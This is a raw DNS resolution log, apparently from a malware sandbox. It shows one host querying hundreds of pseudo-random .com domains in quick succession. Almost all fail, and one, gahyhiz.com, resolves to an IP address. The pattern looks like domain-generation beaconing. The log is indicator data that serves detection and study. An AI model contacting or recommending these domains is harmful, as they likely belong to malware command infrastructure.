Nov 11, 2024 18:50:46.280550957 CET	1.1.1.1	192.168.2.6	0x89e	Name error (3)	ganydeh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.280564070 CET	1.1.1.1	192.168.2.6	0xbb25	Name error (3)	puzytul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.280623913 CET	1.1.1.1	192.168.2.6	0xb1d4	Name error (3)	qeqyvev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.282130957 CET	1.1.1.1	192.168.2.6	0x96c1	Name error (3)	qexytil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.282147884 CET	1.1.1.1	192.168.2.6	0xc2ef	Name error (3)	qebysaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.284600019 CET	1.1.1.1	192.168.2.6	0x2edd	Name error (3)	purybup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.286643028 CET	1.1.1.1	192.168.2.6	0x5c8f	Name error (3)	volyzic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.289969921 CET	1.1.1.1	192.168.2.6	0x2407	Name error (3)	lysymor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.298587084 CET	1.1.1.1	192.168.2.6	0x772a	Name error (3)	vowybyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.311283112 CET	1.1.1.1	192.168.2.6	0x694	Name error (3)	qedyqal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.313921928 CET	1.1.1.1	192.168.2.6	0x1035	Name error (3)	qedyhiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.314414978 CET	1.1.1.1	192.168.2.6	0xf864	Name error (3)	lykywex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.315093994 CET	1.1.1.1	192.168.2.6	0x3379	Name error (3)	pupyguq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.318829060 CET	1.1.1.1	192.168.2.6	0x8af3	Name error (3)	vowyguf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.335661888 CET	1.1.1.1	192.168.2.6	0xd46b	Name error (3)	lysygij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.335875034 CET	1.1.1.1	192.168.2.6	0x4ed1	Name error (3)	qekyryp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.355880022 CET	1.1.1.1	192.168.2.6	0xb0a7	Name error (3)	vonycaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.363905907 CET	1.1.1.1	192.168.2.6	0x220d	Name error (3)	ganycob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.366769075 CET	1.1.1.1	192.168.2.6	0x2fcf	Name error (3)	lymyved.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.383600950 CET	1.1.1.1	192.168.2.6	0x1f65	Name error (3)	galyryz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.384227991 CET	1.1.1.1	192.168.2.6	0x25e7	Name error (3)	gadyhoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.395282030 CET	1.1.1.1	192.168.2.6	0x687e	Name error (3)	volyrut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.396962881 CET	1.1.1.1	192.168.2.6	0xc103	Name error (3)	vopyguk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.407825947 CET	1.1.1.1	192.168.2.6	0xeef4	Name error (3)	pumycav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.471019030 CET	1.1.1.1	192.168.2.6	0x94c7	Name error (3)	pujywep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.476249933 CET	1.1.1.1	192.168.2.6	0xefc3	Name error (3)	lyvyxin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.480846882 CET	1.1.1.1	192.168.2.6	0x56d	Name error (3)	qetyfyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.481576920 CET	1.1.1.1	192.168.2.6	0x8051	Name error (3)	gahyqas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.482285976 CET	1.1.1.1	192.168.2.6	0x484f	Name error (3)	puvyxig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.483350039 CET	1.1.1.1	192.168.2.6	0xba71	Name error (3)	lyryfyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.484280109 CET	1.1.1.1	192.168.2.6	0xd215	Name error (3)	qegyqov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.485426903 CET	1.1.1.1	192.168.2.6	0x3917	Name error (3)	qexyreg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.489270926 CET	1.1.1.1	192.168.2.6	0x573c	Name error (3)	qebyxog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.489651918 CET	1.1.1.1	192.168.2.6	0xc7d2	Name error (3)	lysyfed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.491683960 CET	1.1.1.1	192.168.2.6	0xba62	Name error (3)	galyqoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.499794006 CET	1.1.1.1	192.168.2.6	0x8ef0	Name error (3)	gatyfuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.499809980 CET	1.1.1.1	192.168.2.6	0xbae2	Name error (3)	lygygux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.499821901 CET	1.1.1.1	192.168.2.6	0xee46	Name error (3)	pumyxul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.500787020 CET	1.1.1.1	192.168.2.6	0xcae1	Name error (3)	vojyqac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.506792068 CET	1.1.1.1	192.168.2.6	0xec23	Name error (3)	purydel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.508135080 CET	1.1.1.1	192.168.2.6	0x358	Name error (3)	vocyzum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.508774996 CET	1.1.1.1	192.168.2.6	0x7460	Name error (3)	puzywag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.509881973 CET	1.1.1.1	192.168.2.6	0xbbc5	Name error (3)	gaqycow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.513969898 CET	1.1.1.1	192.168.2.6	0x50d3	Name error (3)	lymyxir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.514401913 CET	1.1.1.1	192.168.2.6	0xe6f0	Name error (3)	qeqyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.515167952 CET	1.1.1.1	192.168.2.6	0xcd5a	Name error (3)	volyqam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.515984058 CET	1.1.1.1	192.168.2.6	0x164c	Name error (3)	lyxywen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.517786980 CET	1.1.1.1	192.168.2.6	0x31c5	Name error (3)	qedyfyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.522444010 CET	1.1.1.1	192.168.2.6	0x8f09	Name error (3)	lykyjar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.524652958 CET	1.1.1.1	192.168.2.6	0x5886	Name error (3)	vocyryf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.528047085 CET	1.1.1.1	192.168.2.6	0xd301	Name error (3)	gadyfys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.537125111 CET	1.1.1.1	192.168.2.6	0x1d68	Name error (3)	vowycok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.537331104 CET	1.1.1.1	192.168.2.6	0xeaad	Name error (3)	vofyguc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.540783882 CET	1.1.1.1	192.168.2.6	0x83f1	Name error (3)	qegyhip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.542881012 CET	1.1.1.1	192.168.2.6	0x2dfb	Name error (3)	qetyveq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.543131113 CET	1.1.1.1	192.168.2.6	0x95dc	Name error (3)	vopybym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.543143034 CET	1.1.1.1	192.168.2.6	0xb52d	Name error (3)	puvytuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.543332100 CET	1.1.1.1	192.168.2.6	0x7bc9	Name error (3)	vojyjot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.543672085 CET	1.1.1.1	192.168.2.6	0x72e2	Name error (3)	pufygup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.553170919 CET	1.1.1.1	192.168.2.6	0x836e	Name error (3)	gatyveh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.556801081 CET	1.1.1.1	192.168.2.6	0x5a45	Name error (3)	purycaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.562680006 CET	1.1.1.1	192.168.2.6	0x1116	Name error (3)	pujyjol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.562694073 CET	1.1.1.1	192.168.2.6	0x431a	Name error (3)	qebytuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.564805984 CET	1.1.1.1	192.168.2.6	0x7561	Name error (3)	lyvytud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.567540884 CET	1.1.1.1	192.168.2.6	0x4ca	Name error (3)	lyryvaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.573296070 CET	1.1.1.1	192.168.2.6	0xbd35	Name error (3)	pupybyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.573398113 CET	1.1.1.1	192.168.2.6	0xe689	Name error (3)	qekykal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.573518038 CET	1.1.1.1	192.168.2.6	0xea59	Name error (3)	ganypis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.574367046 CET	1.1.1.1	192.168.2.6	0x905c	Name error (3)	lysynun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.576401949 CET	1.1.1.1	192.168.2.6	0x8a58	Name error (3)	volykek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.583431959 CET	1.1.1.1	192.168.2.6	0x1812	Name error (3)	gacyryb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.592668056 CET	1.1.1.1	192.168.2.6	0x9d1	Name error (3)	galykew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.596210957 CET	1.1.1.1	192.168.2.6	0x3d4e	Name error (3)	vonypic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.601303101 CET	1.1.1.1	192.168.2.6	0x36d9	Name error (3)	qedynug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.622522116 CET	1.1.1.1	192.168.2.6	0x9ab3	Name error (3)	lymysox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.622534990 CET	1.1.1.1	192.168.2.6	0x7a8c	Name error (3)	gadynub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.626885891 CET	1.1.1.1	192.168.2.6	0xc8fa	Name error (3)	pufymiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.628753901 CET	1.1.1.1	192.168.2.6	0x5de9	Name error (3)	vowydet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.630258083 CET	1.1.1.1	192.168.2.6	0x80e9	Name error (3)	lygymod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.630373001 CET	1.1.1.1	192.168.2.6	0x6756	Name error (3)	puzylyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.632478952 CET	1.1.1.1	192.168.2.6	0xdb7a	Name error (3)	gaqydaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.642530918 CET	1.1.1.1	192.168.2.6	0xe64e	Name error (3)	pumypop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.648618937 CET	1.1.1.1	192.168.2.6	0x39ba	Name error (3)	vofymif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.648895025 CET	1.1.1.1	192.168.2.6	0xfe07	Name error (3)	lyxylyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.650338888 CET	1.1.1.1	192.168.2.6	0xc504	Name error (3)	qexyluq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.650352955 CET	1.1.1.1	192.168.2.6	0x3b1a	Name error (3)	gacyzuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.651088953 CET	1.1.1.1	192.168.2.6	0x693c	Name error (3)	qeqysap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.939205885 CET	1.1.1.1	192.168.2.6	0x338a	No error (0)	gahyhiz.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.411246061 CET	1.1.1.1	192.168.2.6	0xd411	Name error (3)	ganyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.411264896 CET	1.1.1.1	192.168.2.6	0xd880	Name error (3)	vocykec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.422676086 CET	1.1.1.1	192.168.2.6	0xbd	Name error (3)	puryxuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.435889006 CET	1.1.1.1	192.168.2.6	0x3268	Name error (3)	puvylep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.440196037 CET	1.1.1.1	192.168.2.6	0xf3fd	Name error (3)	gacyqoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.443675995 CET	1.1.1.1	192.168.2.6	0xdabd	Name error (3)	qegyfeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.444561958 CET	1.1.1.1	192.168.2.6	0xbca3	Name error (3)	gahynuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.444983006 CET	1.1.1.1	192.168.2.6	0x61fa	Name error (3)	vonyzut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.446749926 CET	1.1.1.1	192.168.2.6	0x7305	Name error (3)	pupydev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.448077917 CET	1.1.1.1	192.168.2.6	0xb707	Name error (3)	qekyqoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.454118013 CET	1.1.1.1	192.168.2.6	0x63e7	Name error (3)	puzyjov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.458807945 CET	1.1.1.1	192.168.2.6	0xe7b9	Name error (3)	lykymij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.462630987 CET	1.1.1.1	192.168.2.6	0x7365	Name error (3)	pumytyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.466062069 CET	1.1.1.1	192.168.2.6	0x90b3	Name error (3)	gadydow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.466531992 CET	1.1.1.1	192.168.2.6	0x8d49	Name error (3)	vofydak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.469975948 CET	1.1.1.1	192.168.2.6	0xcc35	Name error (3)	puzymup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.470179081 CET	1.1.1.1	192.168.2.6	0xde1b	Name error (3)	qeqylyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.475270033 CET	1.1.1.1	192.168.2.6	0xa862	Name error (3)	vowypim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.481293917 CET	1.1.1.1	192.168.2.6	0x158f	Name error (3)	gaqyzyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.481616020 CET	1.1.1.1	192.168.2.6	0x8acf	Name error (3)	vowyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.481803894 CET	1.1.1.1	192.168.2.6	0x50e6	Name error (3)	volyjif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.482194901 CET	1.1.1.1	192.168.2.6	0xe31e	Name error (3)	vonyryk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.485016108 CET	1.1.1.1	192.168.2.6	0xc0a1	Name error (3)	qexykav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.486852884 CET	1.1.1.1	192.168.2.6	0xf184	Name error (3)	qetyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.486963034 CET	1.1.1.1	192.168.2.6	0xf84a	Name error (3)	lymytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.487257004 CET	1.1.1.1	192.168.2.6	0xd8e3	Name error (3)	lygynyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.487473965 CET	1.1.1.1	192.168.2.6	0xcec7	Name error (3)	lyxyjod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.487483978 CET	1.1.1.1	192.168.2.6	0xd28e	Name error (3)	lygyfej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.487880945 CET	1.1.1.1	192.168.2.6	0x7b7e	Name error (3)	qedyvap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.489917994 CET	1.1.1.1	192.168.2.6	0xb2e5	Name error (3)	qekyhug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.490645885 CET	1.1.1.1	192.168.2.6	0xfb7c	Name error (3)	gaqypuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.495208979 CET	1.1.1.1	192.168.2.6	0x39aa	Name error (3)	pupycop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.500942945 CET	1.1.1.1	192.168.2.6	0xee5d	Name error (3)	gatycis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.505413055 CET	1.1.1.1	192.168.2.6	0xb691	Name error (3)	gacykas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.506383896 CET	1.1.1.1	192.168.2.6	0xe7ef	Name error (3)	gahyfyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507105112 CET	1.1.1.1	192.168.2.6	0x203b	Name error (3)	purypig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507116079 CET	1.1.1.1	192.168.2.6	0xcec1	Name error (3)	lyvywar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507128000 CET	1.1.1.1	192.168.2.6	0xcb36	Name error (3)	galyhib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507234097 CET	1.1.1.1	192.168.2.6	0xa25b	Name error (3)	lykygun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507277966 CET	1.1.1.1	192.168.2.6	0xddbd	Name error (3)	vojygym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507436991 CET	1.1.1.1	192.168.2.6	0x45aa	Name error (3)	lysyvax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507448912 CET	1.1.1.1	192.168.2.6	0x73f0	Name error (3)	vopycoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.507563114 CET	1.1.1.1	192.168.2.6	0xe1db	Name error (3)	qegynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.508382082 CET	1.1.1.1	192.168.2.6	0xa60c	Name error (3)	pufybyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.508980036 CET	1.1.1.1	192.168.2.6	0x9193	Name error (3)	puvywal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.509195089 CET	1.1.1.1	192.168.2.6	0x246d	Name error (3)	vofybet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.509529114 CET	1.1.1.1	192.168.2.6	0x72e7	Name error (3)	pufydaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.511758089 CET	1.1.1.1	192.168.2.6	0x226b	Name error (3)	lyryson.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.511770010 CET	1.1.1.1	192.168.2.6	0x2f15	Name error (3)	vojymuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.512567997 CET	1.1.1.1	192.168.2.6	0xeb67	Name error (3)	gadyvez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.519071102 CET	1.1.1.1	192.168.2.6	0x7eb2	Name error (3)	pujymiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.521226883 CET	1.1.1.1	192.168.2.6	0x9415	Name error (3)	qebylyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.525950909 CET	1.1.1.1	192.168.2.6	0xb637	Name error (3)	vocyqot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.527004004 CET	1.1.1.1	192.168.2.6	0xe53d	Name error (3)	pujygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.527254105 CET	1.1.1.1	192.168.2.6	0x3bba	Name error (3)	vopydaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.527498007 CET	1.1.1.1	192.168.2.6	0x1a8c	Name error (3)	lyxymix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.527877092 CET	1.1.1.1	192.168.2.6	0x20c5	Name error (3)	qeqytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.528024912 CET	1.1.1.1	192.168.2.6	0x9956	Name error (3)	lyryxud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.528111935 CET	1.1.1.1	192.168.2.6	0xc0b	Name error (3)	qexyqip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.529417992 CET	1.1.1.1	192.168.2.6	0xc616	Name error (3)	lyvylyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.532030106 CET	1.1.1.1	192.168.2.6	0xfc0a	Name error (3)	qetysog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.532418013 CET	1.1.1.1	192.168.2.6	0x2bef	Name error (3)	qebyrel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.533590078 CET	1.1.1.1	192.168.2.6	0x3ca2	Name error (3)	gatydab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.542565107 CET	1.1.1.1	192.168.2.6	0x2f47	Name error (3)	ganyrew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.846122980 CET	1.1.1.1	192.168.2.6	0x96b3	Name error (3)	lymylen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.848392963 CET	1.1.1.1	192.168.2.6	0x4bc3	Name error (3)	volymuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.857395887 CET	1.1.1.1	192.168.2.6	0xe2ee	Name error (3)	lysysir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.858802080 CET	1.1.1.1	192.168.2.6	0x8ff8	Name error (3)	vonykam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.862023115 CET	1.1.1.1	192.168.2.6	0x415c	Name error (3)	pumyleg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.871984959 CET	1.1.1.1	192.168.2.6	0xf32	Name error (3)	ganykah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.871999979 CET	1.1.1.1	192.168.2.6	0xc5c1	Name error (3)	qekynyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.872111082 CET	1.1.1.1	192.168.2.6	0x7df1	Name error (3)	qedysol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.874620914 CET	1.1.1.1	192.168.2.6	0x85a	Name error (3)	galynus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.879180908 CET	1.1.1.1	192.168.2.6	0xd4db	Name error (3)	qegyvag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.880657911 CET	1.1.1.1	192.168.2.6	0xa1e	Name error (3)	lygyvon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.884946108 CET	1.1.1.1	192.168.2.6	0x3288	Name error (3)	vowyrec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.885658026 CET	1.1.1.1	192.168.2.6	0x9123	Name error (3)	gacyhuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.891177893 CET	1.1.1.1	192.168.2.6	0xb8ca	Name error (3)	puvyjiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.893291950 CET	1.1.1.1	192.168.2.6	0x15db	Name error (3)	qebykoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.895018101 CET	1.1.1.1	192.168.2.6	0xb641	Name error (3)	vojybef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.898345947 CET	1.1.1.1	192.168.2.6	0x927	Name error (3)	pufycog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.903822899 CET	1.1.1.1	192.168.2.6	0x629c	Name error (3)	gahyvab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.911248922 CET	1.1.1.1	192.168.2.6	0xc220	Name error (3)	lyvyjoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.912743092 CET	1.1.1.1	192.168.2.6	0xc535	Name error (3)	gatypuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.913491964 CET	1.1.1.1	192.168.2.6	0xa8bb	Name error (3)	purytyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.918090105 CET	1.1.1.1	192.168.2.6	0xc3ee	Name error (3)	vopyput.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.918869019 CET	1.1.1.1	192.168.2.6	0x2eb7	Name error (3)	vocyjik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.920059919 CET	1.1.1.1	192.168.2.6	0x7720	Name error (3)	lyrytyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.923845053 CET	1.1.1.1	192.168.2.6	0x5d62	Name error (3)	qetytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.924154043 CET	1.1.1.1	192.168.2.6	0x51ca	Name error (3)	qexyhul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.926141977 CET	1.1.1.1	192.168.2.6	0x9cdb	Name error (3)	pupypil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.927148104 CET	1.1.1.1	192.168.2.6	0xf68	Name error (3)	qedyxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.928037882 CET	1.1.1.1	192.168.2.6	0x2a5b	Name error (3)	pujybev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.929702044 CET	1.1.1.1	192.168.2.6	0x6242	Name error (3)	lykynyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.930917978 CET	1.1.1.1	192.168.2.6	0x4e64	Name error (3)	pufypuv.com	none	none	A (IP address)	IN (0x0001)	false
